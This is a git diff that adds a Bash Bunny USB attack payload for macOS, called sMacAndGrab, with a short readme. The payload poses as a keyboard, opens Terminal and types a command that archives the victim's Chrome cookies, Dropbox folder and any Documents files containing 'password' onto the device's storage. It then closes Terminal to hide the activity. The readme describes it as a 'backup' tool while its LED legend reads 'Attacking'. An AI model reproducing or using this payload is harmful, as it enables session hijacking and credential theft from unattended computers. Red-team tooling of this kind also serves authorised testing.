diff --git a/payloads/library/SmacAndGrab/payload.txt b/payloads/library/SmacAndGrab/payload.txt new file mode 100644 index 0000000..78fad1a --- /dev/null +++ b/payloads/library/SmacAndGrab/payload.txt @@ -0,0 +1,39 @@ +#!/bin/bash +# +# Title: sMacAndGrab +# Author: audibleblink +# Target: macOS +# Version: 1.0 +# +# Backup a list of files from macOS +# +# Yellow (blinking)...Attacking +# Green...............Finished + +LED G R 500 +ATTACKMODE HID STORAGE + +mkdir -p /root/udisk/loot/sMacAndGrab + +# Unknown devices mount as NO NAME +dev_name="NO NAME" +lootdir="\"/Volumes/$dev_name/loot/sMacAndGrab\"" + +# Add your files here +files_to_copy=( +"\"~/Library/Application Support/Google/Chrome/Default/Cookies\"" # Quote paths with spaces +"~/Dropbox" +"\$(grep -lr password ~/Documents)" # Escape the subshell to have this run on TARGET +) + +QUACK GUI SPACE +QUACK DELAY 1000 +QUACK STRING terminal +QUACK ENTER +QUACK DELAY 4000 +QUACK STRING tar -cf \$USER.tar.gz ${files_to_copy[*]}\; mv \$USER.tar.gz $lootdir\; killall Terminal +QUACK ENTER + +sync +LED G + diff --git a/payloads/library/SmacAndGrab/readme.md b/payloads/library/SmacAndGrab/readme.md new file mode 100644 index 0000000..7b55277 --- /dev/null +++ b/payloads/library/SmacAndGrab/readme.md @@ -0,0 +1,22 @@ +# sMacAndGrab + +Author: audibleblink +Version: Version 1.0 +Target: macOS + +## Description + +Mounts as storage and acts as HID. Backup a list of files to the BashBunny + +## Configuration + +Provide a newline-separated list of files you want to backup and wait for the green light. +You can also provide `find` and `grep` commands as literal strings to pass to QUACK which get run on TARGET. + +## STATUS + +| LED | Status | +| ---------------- | ------------------------------------- | +| Amber (blinking) | Attacking | +| Green | Finished | +